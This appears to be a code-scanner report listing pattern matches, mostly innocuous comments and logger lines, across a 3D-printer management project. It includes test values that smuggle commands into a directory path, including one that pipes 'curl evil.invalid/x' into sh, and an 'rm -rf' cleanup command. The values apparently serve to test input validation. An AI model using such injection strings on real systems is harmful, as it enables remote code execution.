| LOW | frontend/src/utils/colors.ts | 1 | // Runtime color-name catalog, populated once at app startup by ColorCatalogProvider | COMMENT |
| LOW | frontend/src/utils/filamentPresets.ts | 1 | // Tiered filament-preset list, shared by every picker that has to offer "all | COMMENT |
| LOW | frontend/src/utils/slicePresetPicker.ts | 1 | // Pure-function helpers for the SliceModal's per-slot preset selection. | COMMENT |
| LOW | frontend/src/utils/slicePresetPicker.ts | 181 | export function pickFilamentForSlot( | COMMENT |
| LOW | frontend/src/utils/slicePresetPicker.ts | 201 | // compatible with printer Bambu Lab A1 0.4 nozzle". Hard-skipping mismatches | COMMENT |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 1 | // Printer-compatibility matching for the SliceModal's process / filament | COMMENT |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 201 | // "SUNLU TPU 95A @Bambu Lab H2D 0.4 nozzle" — the full printer-preset | COMMENT |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 261 | && parsed.nozzle !== null | COMMENT |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 341 | // - "@Bambu Lab X1 Carbon 0.4 nozzle" → "X1C" (long-form, used by | COMMENT |
| LOW | frontend/src/utils/dryingPresets.ts | 1 | // Resolving an AMS tray's material to a row in the drying preset table. | COMMENT |
| LOW | frontend/src/components/FilamentHoverCard.tsx | 241 | // than one colour, or any surface effect (#2967). Telemetry cannot: a tray | COMMENT |
| LOW | frontend/src/components/FilamentHoverCard.tsx | 261 | ? buildFilamentBackground({ | COMMENT |
| LOW | frontend/src/components/ConfigureAmsSlotModal.tsx | 941 | // Filter profiles - require brand match if brand is present in selected preset | COMMENT |
| LOW | frontend/src/components/ConfigureAmsSlotModal.tsx | 1021 | if (!seen.has(key)) seen.set(key, profile); | COMMENT |
| LOW | frontend/src/components/HMSErrorModal.tsx | 261 | key={action} | COMMENT |
| LOW | frontend/src/components/KProfilesView.tsx | 201 | profile?.k_value ? truncateK(profile.k_value) : '0.020' | COMMENT |
| LOW | frontend/src/components/KProfilesView.tsx | 361 | // profile come back as "HH00-0.4" once the parse defaults had stamped it | COMMENT |
| LOW | frontend/src/components/LocationSensorOptionsModal.tsx | 161 | const [pollInterval, setPollInterval] = useState(DEFAULT_POLL_INTERVAL); | COMMENT |
| LOW | frontend/src/components/GitHubRestoreModal.tsx | 121 | // new commit with the old commit's categories — none of which the user had | COMMENT |
| LOW | frontend/src/components/GitHubRestoreModal.tsx | 141 | const restoreMutation = useMutation({ | COMMENT |
| LOW | frontend/src/components/AssignSpoolModal.tsx | 61 | setDisableFiltering(false); | COMMENT |
| LOW | frontend/src/components/AssignSpoolModal.tsx | 241 | ); | COMMENT |
| LOW | frontend/src/components/EditArchiveModal.tsx | 61 | const [printerId, setPrinterId] = useState<number | null>(archive.printer_id); | COMMENT |
| LOW | frontend/src/components/SlicerPipelinesPanel.tsx | 101 | }, | COMMENT |
| LOW | frontend/src/components/SpoolFormModal.tsx | 401 | // backend SpoolUpdate schema rejects non-8-char hex on PATCH, so | COMMENT |
| LOW | frontend/src/components/SpoolFormModal.tsx | 481 | } | COMMENT |
| LOW | frontend/src/components/Layout.tsx | 81 | const isSidebarCompact = useIsSidebarCompact(); | COMMENT |
| LOW | frontend/src/components/QueueTimelineView.tsx | 81 | // Round the window start down to the previous full hour so the axis ticks | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 61 | const source = raw.slice(0, idx) as PresetSource; | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 221 | // single-color sources this is a one-element array; multi-color 3MFs get one | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 241 | // the user picks one (or implicitly for single-plate sources). | COMMENT |
| 476 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | docker-publish-daily-beta.sh | 333 | # Create the release body | COMMENT |
| MEDIUM | install/install.sh | 368 | # Create the target user-owned (elevating only if its parent is root-owned, | COMMENT |
| MEDIUM | install/docker-install.sh | 312 | # Create a modified compose file for macOS | COMMENT |
| MEDIUM | slicer-api/docker-compose.arm64.yml | 9 | # This file is not meant to be used on its own. It is intended to be used in | COMMENT |
| MEDIUM | backend/app/main.py | 5105 | # Create a fallback archive without 3MF data so the print is still tracked | COMMENT |
| MEDIUM | backend/app/api/routes/maintenance.py | 529 | # Create the assignment | COMMENT |
| MEDIUM | backend/app/api/routes/settings.py | 1048 | # Create a temporary engine for the import (current engine was disposed) | COMMENT |
| MEDIUM | backend/app/api/routes/projects.py | 2013 | # Create the project | COMMENT |
| MEDIUM | backend/app/api/routes/projects.py | 2140 | # Create the project | COMMENT |
| MEDIUM | backend/app/services/layer_timelapse.py | 146 | # Create a concat file listing all frames | COMMENT |
| MEDIUM | backend/app/services/smart_plug_manager.py | 458 | # Create a minimal plug-like object for the service | COMMENT |
| MEDIUM | backend/app/services/bambu_mqtt.py | 3727 | # Create a hash of relevant AMS data to detect changes. | COMMENT |
| MEDIUM | backend/app/services/virtual_printer/manager.py | 1900 | # This method is kept for backward compat with the settings endpoint. | COMMENT |
| MEDIUM | backend/tests/conftest.py | 317 | # Create a new session maker for the test engine | COMMENT |
| MEDIUM | backend/tests/conftest.py | 459 | # Create a mock smart_plug_service | COMMENT |
| MEDIUM | …kend/tests/unit/test_print_start_expected_promotion.py | 305 | # Create a session without ams_mapping (simulates MQTT not providing it) | COMMENT |
| MEDIUM | backend/tests/unit/test_archive_filtering.py | 697 | # Create the expected output file (as FFmpeg would) | COMMENT |
| MEDIUM | backend/tests/unit/services/test_external_camera.py | 279 | # Create a buffer with one complete frame | COMMENT |
| MEDIUM | backend/tests/unit/services/test_stl_thumbnail.py | 42 | # Create a dummy STL file (will fail to parse) | COMMENT |
| MEDIUM | backend/tests/unit/services/test_stl_thumbnail.py | 61 | # Create a simple ASCII STL cube | COMMENT |
| MEDIUM | backend/tests/unit/services/test_virtual_printer.py | 431 | # Create a temp 3mf file | COMMENT |
| MEDIUM | backend/tests/unit/services/test_virtual_printer.py | 551 | # Create a temp 3mf file | COMMENT |
| MEDIUM | …ckend/tests/unit/services/test_notification_service.py | 472 | # Create a mock provider with digest enabled | COMMENT |
| MEDIUM | …ckend/tests/unit/services/test_notification_service.py | 560 | # Create a mock response | COMMENT |
| MEDIUM | backend/tests/unit/services/mock_ftp_server.py | 152 | # Create a unique handler class per instance so _failure_map is isolated | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_camera_api.py | 294 | # Create a fake JPEG (starts with FFD8) | COMMENT |
| MEDIUM | backend/tests/integration/test_api_key_cloud_access.py | 119 | # Create a legacy key directly in the DB (user_id NULL, mimicking | COMMENT |
| MEDIUM | backend/tests/integration/test_advanced_auth_api.py | 341 | # Create a user with email | COMMENT |
| MEDIUM | backend/tests/integration/test_security.py | 1571 | # Create a low-privilege user (no group → no permissions in default seed). | COMMENT |
| MEDIUM | backend/tests/integration/test_security.py | 1643 | # Create a user explicitly in the Viewers group — it has SETTINGS_READ | COMMENT |
| MEDIUM | backend/tests/integration/test_security.py | 2842 | # Create a pre_auth token to simulate the post-login 2FA challenge step. | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_ams_history_api.py | 133 | # Create a recent record | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_ams_history_api.py | 135 | # Create an old record (outside default 24h) | COMMENT |
| MEDIUM | backend/tests/integration/test_ams_history_api.py | 186 | # Create an old record | COMMENT |
| MEDIUM | backend/tests/integration/test_oidc_env_apply.py | 679 | # Create a user and link it to the env-managed provider | COMMENT |
| MEDIUM | backend/tests/integration/test_mfa_api.py | 1137 | # Create a regular user via user management | COMMENT |
| MEDIUM | backend/tests/integration/test_mfa_api.py | 2286 | # Create a user first | COMMENT |
| MEDIUM | backend/tests/integration/test_mfa_api.py | 4997 | # Create a temporary group and use it as default_group_id | COMMENT |
| MEDIUM | backend/tests/integration/test_system_api.py | 195 | # Create a test printer | COMMENT |
| MEDIUM | backend/tests/integration/test_print_queue_api.py | 1947 | # Create a printer with model X1C so the API can validate | COMMENT |
| MEDIUM | backend/tests/integration/test_print_queue_api.py | 2944 | # Create a batch of 3 | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_library_api.py | 467 | # Create a test user | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_library_api.py | 472 | # Create a file with created_by_id set | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_library_api.py | 1104 | # Create a file in DB but not on disk | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 920 | # Create a fake file that's not a ZIP | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 932 | # Create a simple ZIP file in memory | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 953 | # Create a ZIP file with folder structure | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 975 | # Create a ZIP file with folder structure | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 996 | # Create a ZIP file with macOS junk files | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1017 | # Create a ZIP file with some files | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1127 | # Create a simple ASCII STL cube | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1180 | # Create a simple STL file | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1222 | # Create a ZIP file containing an STL | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1243 | # Create a folder | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1646 | # Create a target folder the move can land in. | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 997 | # Create a linked folder | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 1042 | # Create a file-like object | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 1066 | # Create a ZIP file in memory | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 1095 | # Create a linked folder with is_external fields | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 1106 | # Create a test file on disk | COMMENT |
| 23 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/main.py | 747 | CODE | |
| LOW | backend/app/main.py | 1556 | CODE | |
| LOW | backend/app/main.py | 2123 | CODE | |
| LOW | backend/app/main.py | 2487 | CODE | |
| LOW | backend/app/main.py | 2594 | CODE | |
| LOW | backend/app/main.py | 3992 | CODE | |
| LOW | backend/app/main.py | 5505 | CODE | |
| LOW | backend/app/main.py | 5624 | CODE | |
| LOW | backend/app/main.py | 5958 | CODE | |
| LOW | backend/app/main.py | 6085 | CODE | |
| LOW | backend/app/main.py | 6614 | CODE | |
| LOW | backend/app/main.py | 6971 | CODE | |
| LOW | backend/app/main.py | 8663 | CODE | |
| LOW | backend/app/main.py | 9007 | CODE | |
| LOW | backend/app/main.py | 9121 | CODE | |
| LOW | backend/app/main.py | 9588 | CODE | |
| LOW | backend/app/main.py | 7978 | CODE | |
| LOW | backend/app/main.py | 8250 | CODE | |
| LOW | backend/app/main.py | 8366 | CODE | |
| LOW | backend/app/main.py | 8457 | CODE | |
| LOW | backend/app/main.py | 7560 | CODE | |
| LOW | backend/app/core/auth.py | 412 | CODE | |
| LOW | backend/app/core/auth.py | 1297 | CODE | |
| LOW | backend/app/core/auth.py | 1645 | CODE | |
| LOW | backend/app/core/database.py | 1089 | CODE | |
| LOW | backend/app/core/database.py | 1813 | CODE | |
| LOW | backend/app/core/database.py | 5864 | CODE | |
| LOW | backend/app/core/database.py | 6243 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 32 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 168 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 235 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 557 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 613 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 833 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 1378 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 1630 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 1862 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 1726 | CODE | |
| LOW | backend/app/utils/tray_split.py | 27 | CODE | |
| LOW | backend/app/utils/notification_photos.py | 51 | CODE | |
| LOW | backend/app/api/routes/mfa.py | 1134 | CODE | |
| LOW | backend/app/api/routes/mfa.py | 1767 | CODE | |
| LOW | backend/app/api/routes/slicer_presets.py | 103 | CODE | |
| LOW | backend/app/api/routes/slicer_presets.py | 186 | CODE | |
| LOW | backend/app/api/routes/slicer_presets.py | 465 | CODE | |
| LOW | backend/app/api/routes/auth.py | 259 | CODE | |
| LOW | backend/app/api/routes/auth.py | 449 | CODE | |
| LOW | backend/app/api/routes/auth.py | 780 | CODE | |
| LOW | backend/app/api/routes/auth.py | 1896 | CODE | |
| LOW | backend/app/api/routes/system.py | 244 | CODE | |
| LOW | backend/app/api/routes/finance.py | 76 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 76 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 213 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 449 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 832 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 1228 | CODE | |
| LOW | backend/app/api/routes/support.py | 790 | CODE | |
| LOW | backend/app/api/routes/support.py | 1265 | CODE | |
| LOW | backend/app/api/routes/library.py | 606 | CODE | |
| LOW | backend/app/api/routes/library.py | 701 | CODE | |
| 273 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/core/oidc_env.py | 21 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/auth.py | 28 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/encryption.py | 30 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/tasks.py | 29 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/database.py | 12 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/asyncio_handlers.py | 17 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/utils/paho_teardown.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/utils/local_time.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/utils/threemf_tools.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/utils/notification_photos.py | 35 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/utils/library_paths.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/models/__init__.py | 49 | __all__ = [ | CODE |
| LOW | backend/app/schemas/__init__.py | 25 | __all__ = [ | CODE |
| LOW⚡ | backend/app/api/routes/mfa.py | 625 | async def _set_email_2fa_enabled(db: AsyncSession, user_id: int, enabled: bool) -> None: | CODE |
| LOW | backend/app/api/routes/mfa.py | 90 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/slicer_presets.py | 59 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | backend/app/api/routes/auth.py | 222 | async def set_advanced_auth_enabled(db: AsyncSession, enabled: bool) -> None: | CODE |
| LOW⚡ | backend/app/api/routes/auth.py | 229 | async def set_auth_enabled(db: AsyncSession, enabled: bool) -> None: | CODE |
| LOW | backend/app/api/routes/auth.py | 250 | async def set_setup_completed(db: AsyncSession, completed: bool) -> None: | CODE |
| LOW | backend/app/api/routes/library_trash.py | 43 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/user_notifications.py | 16 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/labels.py | 54 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/sponsor_prompt.py | 18 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/library_variants.py | 60 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/ha_sensors.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/spoolman.py | 44 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/support.py | 48 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/library.py | 112 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/print_log.py | 21 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/firmware.py | 29 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/cloud.py | 70 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/spoolman_inventory.py | 81 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/discovery.py | 24 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/webhook.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/maintenance.py | 31 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/slicer_pipelines.py | 30 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/location_ha_sensors.py | 26 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/updates.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/local_presets.py | 32 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/archives.py | 69 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/spoolbuddy.py | 46 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/orca_cloud.py | 64 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/external_links.py | 29 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | backend/app/api/routes/pipeline_runs.py | 66 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/makerworld.py | 66 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/local_backup.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/camera.py | 51 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/github_backup.py | 34 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/_spoolman_helpers.py | 18 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/settings.py | 28 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/settings.py | 163 | async def set_setting(db: AsyncSession, key: str, value: str) -> None: | CODE |
| LOW | backend/app/api/routes/virtual_printers.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/printers.py | 101 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/notifications.py | 35 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/api_keys.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/smart_plugs.py | 45 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/print_queue.py | 66 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/projects.py | 50 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/connected_apps.py | 67 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/library_tags.py | 51 | logger = logging.getLogger(__name__) | CODE |
| 146 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/app/core/auth.py | 2275 | - Ownerless items (created_by_id = null) require ``all_permission`` | STRING |
| HIGH | backend/app/core/database.py | 1933 | "UPDATE cost_centers SET code = substr(md5(random()::text || clock_timestamp()::text), 1, 12) " | CODE |
| HIGH | backend/app/models/library.py | 184 | # Soft-delete / trash bin (Issue #1008). When non-null, the file is in the | COMMENT |
| HIGH | backend/app/models/archive.py | 153 | # Soft-delete sentinel (#1343). When non-null, the UI hides this archive | COMMENT |
| HIGH | backend/app/schemas/library.py | 239 | # never null, so the FE can iterate without a guard. | COMMENT |
| HIGH | backend/app/schemas/location_ha_sensor.py | 30 | # null, so the UI would show an empty field over a poisoned row. | COMMENT |
| HIGH | backend/app/schemas/location_ha_sensor.py | 95 | # serialization turns them into null, which is also what the edit form | COMMENT |
| HIGH | backend/app/api/routes/library.py | 5913 | pass # leave hash null; dedup just won't match this row | CODE |
| HIGH | backend/app/api/routes/spoolman_inventory.py | 2185 | _raise_if_partial_failure(spools_to_clear, results, "spool_weight clear (option B null)") | CODE |
| HIGH | backend/app/api/routes/spoolman_inventory.py | 93 | """Return True when a PATCH field explicitly removes a tag (null).""" | STRING |
| HIGH | backend/app/api/routes/spoolman_inventory.py | 2115 | is null, clears per-spool overrides so spools fall back to the filament value. | STRING |
| HIGH | backend/app/api/routes/updates.py | 961 | "git pull && docker compose build --pull && docker compose up -d" | CODE |
| HIGH | backend/app/api/routes/settings.py | 558 | # 403'd, the value arrived undefined, `undefined !== true` held, and the | COMMENT |
| HIGH | backend/app/services/print_scheduler.py | 6486 | 2. Chamber target — `item.preheat_chamber_target_override` if non-null; | STRING |
| HIGH | backend/app/services/printer_manager.py | 1453 | # object a second later, the field reads undefined, and the | COMMENT |
| HIGH⚡ | backend/app/services/spoolbuddy_ssh.py | 339 | "sudo find /home -maxdepth 5 -path '*/chromium/Default/Service Worker' -type d -exec rm -rf {} + 2>/dev/null | CODE |
| HIGH⚡ | backend/tests/unit/test_main_plug_rank_2830.py | 199 | backfilled with the default and nothing writes a null, but a rank that | STRING |
| HIGH⚡ | backend/tests/unit/test_compose_dir_setting.py | 37 | "/opt/bambuddy && curl evil.invalid/x | sh", | CODE |
| HIGH⚡ | backend/tests/unit/test_compose_dir_setting.py | 41 | '/opt/bambuddy" && echo pwned && echo "', | CODE |
| HIGH⚡ | …/tests/unit/test_scheduler_preheat_ams_mapping_2886.py | 220 | pytest.param("[null, null]", id="all-null"), | CODE |
| HIGH⚡ | backend/tests/integration/test_library_api.py | 444 | # User tracking fields should be present (even if null) | COMMENT |
| HIGH⚡ | backend/tests/integration/test_library_api.py | 456 | # User tracking fields should be present (even if null) | COMMENT |
| HIGH | backend/tests/integration/test_ownership_permissions.py | 6 | - Ownerless items (created_by_id = null) require *_all permission | STRING |
| HIGH | backend/tests/integration/test_ownership_permissions.py | 523 | """Ownerless archive (created_by_id=null) requires REPRINT_ALL. | STRING |
| HIGH | backend/tests/integration/test_ownership_permissions.py | 1745 | """Ownerless rows (created_by_id = null, legacy data) require *_ALL — an | STRING |
| HIGH | …ckend/tests/integration/test_oidc_group_sync_routes.py | 275 | "mapping", ['{"staff": null}', '{"staff": 5}', '{"Admins": "Viewers", "admins": "Viewers"}'] | CODE |
| HIGH | backend/tests/integration/test_inventory_assign.py | 450 | """When slicer_filament_name is null, falls back to tray_sub_brands.""" | STRING |
| HIGH⚡ | …ckend/tests/integration/test_spoolman_inventory_api.py | 2638 | """Sending {tag_uid: null, tray_uuid: null} → at_least_one validator → 422.""" | STRING |
| HIGH | backend/tests/integration/test_color_catalog_extras.py | 52 | """PUT with empty extra_colors clears the field (server normalizes "" → null).""" | STRING |
| HIGH | backend/tests/integration/test_settings_api.py | 1007 | # And a fresh GET also sees it as null, not the literal string "None". | COMMENT |
| HIGH | backend/tests/integration/test_printers_api.py | 1942 | detail had filament_id=null, and what #1053 pinned. The A1 measurement | STRING |
| HIGH | installers/windows/build.py | 207 | """Run ``npm ci && npm run build`` and return the build output path. | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | install/install.sh | 304 | # Check if Homebrew is installed | COMMENT |
| LOW | install/install.sh | 988 | # Check if running via pipe (curl | bash) - interactive mode won't work | COMMENT |
| LOW | install/docker-install.sh | 341 | # Check if container is running (Up) | COMMENT |
| LOW | install/docker-install.sh | 347 | # Check if container failed | COMMENT |
| LOW | install/docker-install.sh | 469 | # Check if running via pipe (curl | bash) - interactive mode won't work | COMMENT |
| LOW | install/docker-install.sh | 498 | # Check if Docker daemon is running | COMMENT |
| LOW | deploy/docker-entrypoint.sh | 42 | # Check if we have any certificates to process. Error if directory is empty | COMMENT |
| LOW | tests/e2e_comprehensive_test.py | 195 | # Check if modal opened | COMMENT |
| LOW | tests/e2e_comprehensive_test.py | 241 | # Check if dark theme is applied (should be default) | COMMENT |
| LOW⚡ | backend/app/main.py | 2889 | # Check if Spoolman is enabled | COMMENT |
| LOW | backend/app/main.py | 2685 | # Check if assignment already exists for this slot | COMMENT |
| LOW | backend/app/main.py | 2921 | # Check if Spoolman is reachable | COMMENT |
| LOW | backend/app/main.py | 4306 | # Check if this is an expected print from reprint/scheduled | COMMENT |
| LOW | backend/app/main.py | 4512 | # Check if there's already a "printing" archive for this printer/file | COMMENT |
| LOW | backend/app/main.py | 7354 | # Check if queue is now empty and send notification | COMMENT |
| LOW | backend/app/main.py | 7410 | # Check if any provider has on_bed_cooled enabled (skip registration if none) | COMMENT |
| LOW | backend/app/main.py | 8153 | # Check if camera stream is active - use buffered frame to avoid freeze | COMMENT |
| LOW | backend/app/main.py | 10475 | # Check if auth is enabled. Fail CLOSED on any exception during the | COMMENT |
| LOW | backend/app/core/auth.py | 1460 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/core/auth.py | 1680 | # Check if key matches (verify against hash) | COMMENT |
| LOW | backend/app/core/auth.py | 1903 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/core/auth.py | 1986 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/core/auth.py | 2325 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/core/database.py | 2552 | # Check if archive_id needs to be made nullable (requires table recreation in SQLite) | STRING |
| LOW | backend/app/utils/threemf_tools.py | 655 | # Check if only one extruder is active. | COMMENT |
| LOW | backend/app/models/archive.py | 67 | # Print result | COMMENT |
| LOW | backend/app/api/routes/auth.py | 277 | # Check if admin users already exist | COMMENT |
| LOW | backend/app/api/routes/auth.py | 307 | # Check if username already exists (shouldn't happen if no admin users exist, but check anyway) | COMMENT |
| LOW | backend/app/api/routes/auth.py | 459 | # Check if auth is enabled | COMMENT |
| LOW | backend/app/api/routes/auth.py | 484 | # Check if LDAP is enabled | COMMENT |
| LOW | backend/app/api/routes/auth.py | 716 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/api/routes/auth.py | 1088 | # Check if advanced auth is enabled | COMMENT |
| LOW | backend/app/api/routes/auth.py | 1265 | # Check if advanced auth is enabled | COMMENT |
| LOW | backend/app/api/routes/metrics.py | 66 | # Check if enabled | COMMENT |
| LOW | backend/app/api/routes/spoolman.py | 219 | # Check if Spoolman is enabled and connected | COMMENT |
| LOW | backend/app/api/routes/spoolman.py | 454 | # Check if Spoolman is enabled | COMMENT |
| LOW | backend/app/api/routes/spoolman.py | 802 | # Check if spool has a tag in extra field | COMMENT |
| LOW | backend/app/api/routes/support.py | 1429 | # Check if debug logging is enabled and collect sensitive values for redaction | COMMENT |
| LOW | backend/app/api/routes/library.py | 2084 | # Check if subfolder has any remaining files | COMMENT |
| LOW | backend/app/api/routes/library.py | 2092 | # Check if it has any remaining child folders | COMMENT |
| LOW | backend/app/api/routes/library.py | 2549 | # Check if folder already exists | COMMENT |
| LOW | backend/app/api/routes/library.py | 2603 | # Check if folder exists | COMMENT |
| LOW | backend/app/api/routes/library.py | 3657 | # Check if this is the requested plate | COMMENT |
| LOW | backend/app/api/routes/users.py | 113 | # Check if advanced auth is enabled | COMMENT |
| LOW | backend/app/api/routes/users.py | 118 | # Check if username already exists (case-insensitive) | COMMENT |
| LOW | backend/app/api/routes/users.py | 140 | # Check if email already exists (case-insensitive) | COMMENT |
| LOW | backend/app/api/routes/users.py | 296 | # Check if new username already exists (case-insensitive) | COMMENT |
| LOW | backend/app/api/routes/users.py | 308 | # Check if new email already exists (case-insensitive) | COMMENT |
| LOW | backend/app/api/routes/maintenance.py | 518 | # Check if already assigned | COMMENT |
| LOW | backend/app/api/routes/updates.py | 374 | # Check if this is a prerelease (has b/beta/alpha/rc/daily suffix anywhere) | COMMENT |
| LOW | backend/app/api/routes/updates.py | 467 | # Check if beta updates should be included | COMMENT |
| LOW | backend/app/api/routes/archives.py | 3765 | # Check if source 3MF exists - this is where actual mesh data typically lives | COMMENT |
| LOW | backend/app/api/routes/groups.py | 106 | # Check if group name already exists | COMMENT |
| LOW | backend/app/api/routes/groups.py | 190 | # Check if updating name to one that already exists | COMMENT |
| LOW | backend/app/api/routes/groups.py | 297 | # Check if user is already in group | COMMENT |
| LOW | backend/app/api/routes/groups.py | 335 | # Check if user is in group | COMMENT |
| LOW | backend/app/api/routes/camera.py | 227 | # Check if client disconnected | COMMENT |
| LOW | backend/app/api/routes/camera.py | 874 | # Check if stream was explicitly stopped (e.g., by stop endpoint) | COMMENT |
| LOW | backend/app/api/routes/camera.py | 1435 | # Check if there's an active stream for this printer | COMMENT |
| LOW | backend/app/api/routes/settings.py | 373 | # Check if any MQTT settings are being updated | COMMENT |
| 61 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | docker-publish-daily-beta.sh | 102 | # Step 1: Read and validate APP_VERSION | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 127 | # Step 2: Build & push Docker images | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 288 | # Step 3: Create/update GitHub release | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 380 | # Step 4: Verify | COMMENT |
| LOW | frontend/src/components/TwoFactorSettings.tsx | 205 | // Step 1: request verification code (proof of possession) | COMMENT |
| LOW | frontend/src/components/TwoFactorSettings.tsx | 222 | // Step 2: confirm with the code received by email | COMMENT |
